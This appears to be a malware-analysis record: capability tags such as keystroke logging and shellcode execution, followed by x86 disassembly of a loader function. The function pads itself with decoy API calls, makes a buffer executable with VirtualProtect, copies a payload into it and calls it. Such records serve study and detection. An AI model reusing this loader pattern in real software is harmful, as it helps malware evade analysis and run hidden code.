Function at 0x403790
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Log keystrokes via polling
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc18
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
push 0
call edi
call ebx
cmp esi, 0x207142
jg 0x4037c1
inc esi
cmp esi, 0x67d12
jl 0x4037aa
cmp dword [0x5e23cc], 0x93
mov ebx, dword [sym.imp.USER32.dll_LoadMenuW]
jne 0x403893
push 0
push 0
call ebx
push 0
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push 0
lea eax, [ebp - 0xc18]
push eax
push 0
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
push 0
push 0
lea ecx, [ebp - 0x818]
push ecx
push 0
push 0
call dword [sym.imp.USER32.dll_DdeQueryStringW]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
xor edx, edx
lock bts dword [edx], 0
push 0x40325c
push edx
push edx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea edx, [ebp - 4]
push edx
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 0x403280
call fcn.0040442f
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], 0x4032d0
call fcn.00404456
push 0
call fcn.004047c8
push 0
call fcn.004047f7
push 0
push 0
call fcn.004043ad
push 0
push 0
call fcn.00404802
fldz
add esp, 0x18
push 0
sub esp, 8
fstp qword [esp]
call fcn.00404488
add esp, 0xc
fstp st(0)
call fcn.00404205
mov eax, dword [0x43f8cc]
mov dword [0x5e3208], eax
mov eax, dword [0x5e23cc]
add eax, 0x1134b
push eax
push 0
mov dword [0x5e23cc], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, dword [0x5e23cc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push edx
push eax
mov dword [0x5e1e5c], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov esi, 0x1692e
lea esp, [esp]
push 0
push 0
call ebx
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec esi
jne 0x4038e0
cmp dword [0x5e23cc], esi
jbe 0x403953
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0x5e3208]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x5e1e5c]
mov byte [edx + esi], cl
cmp dword [0x5e23cc], 0x490
jne 0x40394a
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
inc esi
cmp esi, dword [0x5e23cc]
jb 0x403907
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.USER32.dll_ChangeMenuW]
xor esi, esi
mov eax, dword [0x5e23cc]
add eax, esi
cmp eax, 0x8d
jne 0x4039a7
push 0
lea ecx, [ebp - 0x818]
push ecx
push 0
push 0x403290
push 0
push 0
call edi
push 0
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
inc esi
cmp esi, 0x38681
jl 0x403961
call fcn.004034d0
xor edi, edi
xor esi, esi
lea esp, [esp]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x4039de
mov dword [ebp - 4], edi
add dword [ebp - 4], 0x92d7
mov edx, dword [ebp - 4]
add dword [0x5e1e5c], edx
inc esi
cmp esi, 0x674bd
jl 0x4039c0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [ebp - 4], 0x7b
cmp dword [0x5e23cc], 0x86
jne 0x403a41
push 0
call esi
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
lea eax, [ebp - 0x818]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
cmp dword [0x5e23cc], 0xf
jne 0x403a58
push 0
push 0
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
dec dword [ebp - 4]
jne 0x403a00
push 0x403298
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x5e1e5c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret